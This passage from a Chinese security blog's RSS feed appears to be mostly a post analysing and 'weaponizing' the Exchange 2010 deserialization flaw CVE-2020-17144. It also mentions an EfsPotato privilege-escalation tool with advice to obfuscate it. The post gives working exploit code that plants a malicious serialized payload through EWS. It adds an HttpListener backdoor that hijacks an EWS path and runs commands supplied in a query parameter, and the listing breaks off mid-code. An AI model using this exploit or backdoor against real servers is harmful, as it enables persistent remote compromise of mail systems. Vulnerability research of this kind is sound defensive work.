2em;&quot;&gt;我一直认为，编程思想与设计模式才是最基础的安全技术。在这冗长而无趣的第一章中，我们通过面向对象中`抽象`、`封装`这两大基础概念，以及背后隐藏的`Transport/Channel`这个被微软大肆使用的名词（相信如果搜索了上面几节其中的关键字，并且看了原文就一定有印象）来从侧面分析微软的设计思想，从而能够更好地理解组件的运作方式，最终找到其中的薄弱点，并加以利用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;后续几章无一例外，均将以此为基础，来讲几个有趣的应用案例。&lt;/p&gt;</description><pubDate>Mon, 30 May 2022 19:47:03 +0800</pubDate></item><item><title>EfsPotato</title><link>http://www.zcgonvh.com/post/EfsPotato.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;一个EfsPotato的纯C#实现，好处么自然是方便移植修改。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当然拿来直接用也是没问题的，当成CS插件也可以，不过意义显然不如集成到各种刀里面。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2021/07/202107271627333577776103.png&quot; title=&quot;1.png&quot; alt=&quot;1.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;GitHub：&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;a href=&quot;https://github.com/zcgonvh/EfsPotato&quot; _src=&quot;https://github.com/zcgonvh/EfsPotato&quot;&gt;https://github.com/zcgonvh/EfsPotato&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（自己编译吧，记得混淆以及改下命名空间，哪天抽风杀了zcg可就乐子大了）&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后祭奠即将被掏空的家底。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2021/07/202107271627335585698581.png&quot; title=&quot;0.png&quot; alt=&quot;0.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;/p&gt;</description><pubDate>Tue, 27 Jul 2021 05:40:09 +0800</pubDate></item><item><title>CVE-2020-17144漏洞分析与武器化</title><link>http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x00 前言&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;和CVE-2018-8302、CVE-2020-0688类似，CVE-2020-17144同属需登录后利用的反序列化漏洞，但仅影响Exchange2010服务器。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;与CVE-2020-0688不同，由于漏洞本身有趣的成因和触发条件，在利用时无需明文密码，只要具备NTHash即可成功，在利用方式上会相对更加灵活。同时，存在漏洞的功能点本身具备持久化功能，利用成功后将直接进行持久化行为，在不修复漏洞的情况下将永远存在，其危害性和隐蔽性远大于CVE-2020-0688。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x01 背景&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;Exchange提供了MRM功能对邮件生存周期进行管理，参考&lt;a href=&quot;https://docs.microsoft.com/en-us/exchange/policy-and-compliance/mrm/retention-tags-and-retention-policies&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/en-us/exchange/policy-and-compliance/mrm/retention-tags-and-retention-policies&lt;/a&gt;，其内部通过“标签”和“策略”进行实现。原文表述较为晦涩，简单总结就是：对一类邮件打上相同的标签(Tag)，创建策略（例如定期删除）并应用到某个标签，使得被打上标签的邮件由邮箱助理模块定期统一进行处理。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;微软在Exchange2010中设计了一个机器学习功能，通过逻辑回归算法计算邮箱内全部邮件的标签状态，并为邮件自动标记。机器学习将生成模型，模型信息将保存至收件箱的用户配置中。用户配置可以近似理解为一个以字符串为键的字典，其值可能为字典、XML或二进制流三种格式。在机器学习功能中，模型的保存格式为二进制流，其内容为.net二进制序列化数据。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;自动标记功能默认不会开启，但无论是否开启都不影响邮箱助理处理过程中进行的模型初始化加载，此过程在用户修改模型配置和邮箱助手启动时均会触发。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x02 分析&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;此漏洞成因简单粗暴，首先，模型加载由[Microsoft.Exchange.InfoWorker.Common]Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadModel方法进行实现，其代码极为简略：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;internal&amp;nbsp;bool&amp;nbsp;LoadModel(out&amp;nbsp;LearningModel&amp;nbsp;learningModel,&amp;nbsp;out&amp;nbsp;MessageTransformer&amp;nbsp;messageTransformer,&amp;nbsp;bool&amp;nbsp;parseFai)
{
&amp;nbsp;&amp;nbsp;messageTransformer&amp;nbsp;=&amp;nbsp;null;
&amp;nbsp;&amp;nbsp;learningModel&amp;nbsp;=&amp;nbsp;null;
&amp;nbsp;&amp;nbsp;using&amp;nbsp;(UserConfiguration&amp;nbsp;userConfiguration&amp;nbsp;=&amp;nbsp;ElcMailboxHelper.OpenFaiMessage(mailboxSession,&amp;nbsp;&amp;quot;MRM.AutoTag.Model&amp;quot;,&amp;nbsp;createIfMissing:&amp;nbsp;false))
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(userConfiguration&amp;nbsp;==&amp;nbsp;null)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(parseFai)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;DeserializeModelFAI(userConfiguration,&amp;nbsp;out&amp;nbsp;learningModel,&amp;nbsp;out&amp;nbsp;messageTransformer);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;return&amp;nbsp;true;
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;OpenFaiMessage将从收件箱直接读取配置并返回。由于任意用户均可对自身配置进行任意修改，这里是一个可控输入：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;internal&amp;nbsp;static&amp;nbsp;UserConfiguration&amp;nbsp;OpenFaiMessage(MailboxSession&amp;nbsp;mailboxSession,&amp;nbsp;string&amp;nbsp;faiMessageClass,&amp;nbsp;bool&amp;nbsp;createIfMissing)
{
&amp;nbsp;&amp;nbsp;.....
&amp;nbsp;&amp;nbsp;StoreId&amp;nbsp;defaultFolderId&amp;nbsp;=&amp;nbsp;mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);
&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;userConfiguration&amp;nbsp;=&amp;nbsp;mailboxSession.UserConfigurationManager.GetFolderConfiguration(faiMessageClass,&amp;nbsp;UserConfigurationTypes.Stream&amp;nbsp;|&amp;nbsp;UserConfigurationTypes.XML&amp;nbsp;|&amp;nbsp;UserConfigurationTypes.Dictionary,&amp;nbsp;defaultFolderId);
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;.....
&amp;nbsp;&amp;nbsp;return&amp;nbsp;userConfiguration;
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;随后DeserializeModelFAI方法将在没有任何SerializationBinder的情况下直接进行反序列化：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;private&amp;nbsp;bool&amp;nbsp;DeserializeModelFAI(UserConfiguration&amp;nbsp;configItem,&amp;nbsp;out&amp;nbsp;LearningModel&amp;nbsp;learningModel,&amp;nbsp;out&amp;nbsp;MessageTransformer&amp;nbsp;messageTransformer)
{
&amp;nbsp;&amp;nbsp;.....
&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;using&amp;nbsp;(Stream&amp;nbsp;serializationStream&amp;nbsp;=&amp;nbsp;configItem.GetStream())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IFormatter&amp;nbsp;formatter&amp;nbsp;=&amp;nbsp;new&amp;nbsp;BinaryFormatter();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;learningModel&amp;nbsp;=&amp;nbsp;(LearningModel)formatter.Deserialize(serializationStream);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;messageTransformer&amp;nbsp;=&amp;nbsp;(MessageTransformer)formatter.Deserialize(serializationStream);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;.....
&amp;nbsp;&amp;nbsp;return&amp;nbsp;result;
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x02 利用&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;想要成功利用漏洞，便需要一个修改操作服务器端UserConfiguration对象的方式。除了常规邮件服务与OWA，Exchange提供还提供了EWS接口供客户端调用，其对应的客户端类库为Microsoft.Exchange.WebServices.dll。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;熟悉EWS开发的话都会知道，客户端类库中的对象模型与服务器对象模型几乎完全对应。实际上完全不需要查询MSDN即可找到所需类型Microsoft.Exchange.WebServices.Data.UserConfiguration，其定义如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;public&amp;nbsp;class&amp;nbsp;UserConfiguration&amp;nbsp;:&amp;nbsp;IJsonSerializable
{
&amp;nbsp;&amp;nbsp;...
&amp;nbsp;&amp;nbsp;public&amp;nbsp;string&amp;nbsp;Name
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;get
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;name;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;internal&amp;nbsp;set
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;name&amp;nbsp;=&amp;nbsp;value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;public&amp;nbsp;FolderId&amp;nbsp;ParentFolderId
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;get
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;parentFolderId;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;internal&amp;nbsp;set
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parentFolderId&amp;nbsp;=&amp;nbsp;value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;public&amp;nbsp;ItemId&amp;nbsp;ItemId&amp;nbsp;=&amp;gt;&amp;nbsp;itemId;

&amp;nbsp;&amp;nbsp;public&amp;nbsp;UserConfigurationDictionary&amp;nbsp;Dictionary&amp;nbsp;=&amp;gt;&amp;nbsp;dictionary;

&amp;nbsp;&amp;nbsp;public&amp;nbsp;byte[]&amp;nbsp;XmlData
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;get
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ValidatePropertyAccess(UserConfigurationProperties.XmlData);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;xmlData;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlData&amp;nbsp;=&amp;nbsp;value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MarkPropertyForUpdate(UserConfigurationProperties.XmlData);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;public&amp;nbsp;byte[]&amp;nbsp;BinaryData
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;get
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ValidatePropertyAccess(UserConfigurationProperties.BinaryData);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;binaryData;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;binaryData&amp;nbsp;=&amp;nbsp;value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MarkPropertyForUpdate(UserConfigurationProperties.BinaryData);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;...
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;对照方法定义很容易写出以下Exp：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;ExchangeService&amp;nbsp;service&amp;nbsp;=&amp;nbsp;new&amp;nbsp;ExchangeService(ExchangeVersion.Exchange2010);
service.Credentials&amp;nbsp;=&amp;nbsp;new&amp;nbsp;WebCredentials(&amp;quot;zcgonvh&amp;quot;,&amp;quot;P@ssw0rd!&amp;quot;);
service.Url&amp;nbsp;=&amp;nbsp;new&amp;nbsp;Uri(&amp;quot;https://target/ews/Exchange.asmx&amp;quot;);
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;byte[]&amp;nbsp;data&amp;nbsp;=&amp;nbsp;EVIL-SERIALIZED-BUFFER;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UserConfiguration&amp;nbsp;u&amp;nbsp;=&amp;nbsp;null;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Folder&amp;nbsp;folder&amp;nbsp;=&amp;nbsp;Folder.Bind(service,&amp;nbsp;WellKnownFolderName.Inbox);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;u&amp;nbsp;=&amp;nbsp;new&amp;nbsp;UserConfiguration(service);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;u.BinaryData&amp;nbsp;=&amp;nbsp;data;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;u.Save(&amp;quot;MRM.AutoTag.Model&amp;quot;,&amp;nbsp;folder.Id);
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;其中EVIL-SERIALIZED-BUFFER为通过ActivitySurrogateSelectorGenerator生成的二进制序列化数据，注意需要更新为修复兼容性的版本，并使用.net 3.5进行编译。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;执行后，目标服务器MSExchangeMailboxAssistants.exe进程将连续进行多次反序列化。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/12/202012101607544528419381.jpg&quot; title=&quot;1.jpg&quot; alt=&quot;1.jpg&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x03 分析&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;代码执行仅仅是利用第一步。通过上述利用过程可以观察到一个现象：我们访问了EWS，设置了一个邮箱文件夹对象上的属性，而漏洞由MSExchangeMailboxAssistants.exe进行触发。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这个现象已经并非单纯的web代码审计，我们需要站在更高的系统层面进行理解。在&lt;a href=&quot;https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019&lt;/a&gt;可以看到Exchange体系结构图，单纯考虑此漏洞所涉及的系统进行简化整理，可以得到如下流程图：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/12/202012101607544585487161.png&quot; title=&quot;2.png&quot; alt=&quot;2.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;实际上，无论是通过接口或是客户端，对配置、邮件等服务器对象的修改都会直接体现在Storage所存储的内容中，这是一个数据持久化与共享行为。任何读取邮件数据的服务实际上等同于读取Storage，从而造成了我们观察到由MSExchangeMailboxAssistants服务进行反序列化的结果。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;此时回到代码审计的领域分析具体触发位置。MSExchangeMailboxAssistants实现了一个托管的windows服务，从其入口点Microsoft.Exchange.MailboxAssistants.Assistants.AssistantsService.OnStartInternal可以看到注册了大量经由时间或事件触发的功能：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;protected&amp;nbsp;override&amp;nbsp;void&amp;nbsp;OnStartInternal(string[]&amp;nbsp;args)
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;databaseManager&amp;nbsp;=&amp;nbsp;(DatabaseManager)(object)new&amp;nbsp;DatabaseManager(&amp;quot;MSExchangeMailboxAssistants&amp;quot;,&amp;nbsp;50,&amp;nbsp;InfoworkerAssistants.CreateEventBasedAssistantTypes(),&amp;nbsp;InfoworkerAssistants.CreateTimeBasedAssistantTypes(),&amp;nbsp;true);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;databaseManager.Start();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;CreateEventBasedAssistantTypes方法将注册Microsoft.Exchange.MailboxAssistants.Assistants.ELC.ElcEventBasedAssistant类，其HandleEventInternal方法会判断是否为AutoTag配置，我们可以看到熟悉的名称MRM.AutoTag.Model：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;internal&amp;nbsp;static&amp;nbsp;bool&amp;nbsp;IsAutoTagFai(MapiEvent&amp;nbsp;mapiEvent)
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;((int)mapiEvent.get_ClientType()&amp;nbsp;!=&amp;nbsp;6&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;(mapiEvent.get_EventFlags()&amp;nbsp;&amp;amp;&amp;nbsp;1)&amp;nbsp;!=&amp;nbsp;0)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(string.Compare(mapiEvent.get_ObjectClass(),&amp;nbsp;&amp;quot;IPM.Configuration.MRM.AutoTag.Model&amp;quot;,&amp;nbsp;StringComparison.OrdinalIgnoreCase)&amp;nbsp;!=&amp;nbsp;0)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;string.Compare(mapiEvent.get_ObjectClass(),&amp;nbsp;&amp;quot;IPM.Configuration.MRM.AutoTag.Setting&amp;quot;,&amp;nbsp;StringComparison.OrdinalIgnoreCase)&amp;nbsp;==&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;如是，则将在后续过程中调用Microsoft.Exchange.MailboxAssistants.Assistants.ELC.RetentionPolicyCheck::LoadAutoTagFai方法，此方法负责模型初始化加载，并进入实际的反序列化调用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x04 武器化&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在已经能够在远程执行任意命令，然而在实战利用中远远不够。我们不能确定对方是否能够真正联网，一个没有稳定控制通道的漏洞利用在实战中价值并不高。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们只能确定能够访问到目标的EWS，那么如何进行稳定控制？我们当然可以写入WebShell，但这仅仅是下策。MSExchangeMailboxAssistants本身通过SYSTEM账户运行，所以完全可以通过调用HTTP API进行端口复用，劫持EWS某个未被注册的端点供外部访问。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/12/202012101607544675818114.jpg&quot; title=&quot;3.jpg&quot; alt=&quot;3.jpg&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;NetFX提供了HttpListener提供了HTTP API的托管访问，参考&lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0&lt;/a&gt;，使用以下代码即可在/ews/soap/路径建立一个Http监听器，并执行request[&amp;quot;pass&amp;quot;]提供的命令：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;string&amp;nbsp;password&amp;nbsp;=&amp;nbsp;&amp;quot;pass&amp;quot;;
try
{
&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!HttpListener.IsSupported){return;}
&amp;nbsp;&amp;nbsp;HttpListener&amp;nbsp;listener&amp;nbsp;=&amp;nbsp;new&amp;nbsp;HttpListener();
&amp;nbsp;&amp;nbsp;listener.Prefixes.Add(&amp;quot;http://*:80/ews/soap/&amp;quot;);
&amp;nbsp;&amp;nbsp;listener.Start();
&amp;nbsp;&amp;nbsp;while&amp;nbsp;(true)
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpListenerContext&amp;nbsp;context&amp;nbsp;=&amp;nbsp;listener.GetContext();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpListenerRequest&amp;nbsp;request&amp;nbsp;=&amp;nbsp;context.Request;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpListenerResponse&amp;nbsp;response&amp;nbsp;=&amp;nbsp;context.Response;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Stream&amp;nbsp;stm&amp;nbsp;=&amp;nbsp;null&amp;nbsp;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string&amp;nbsp;cmd=request.QueryString[password];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(!string.IsNullOrEmpty(cmd))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Process&amp;nbsp;p&amp;nbsp;=&amp;nbsp;new&amp;nbsp;Process();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.StartInfo.FileName&amp;nbsp;=&amp;nbsp;cmd;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.StartInfo.UseShellExecute&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.StartInfo.RedirectStandardOutput&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.StartInfo.RedirectStandardError&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.Start();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;byte[]&amp;nbsp;data&amp;nbsp;=&amp;nbsp;Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd()&amp;nbsp;+&amp;nbsp;p.StandardError.ReadToEnd());
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.StatusCode&amp;nbsp;=&amp;nbsp;200;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.ContentLength64&amp;nbsp;=&amp;nbsp;data.Length;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stm&amp;nbsp;=&amp;nbsp;response.OutputStream;
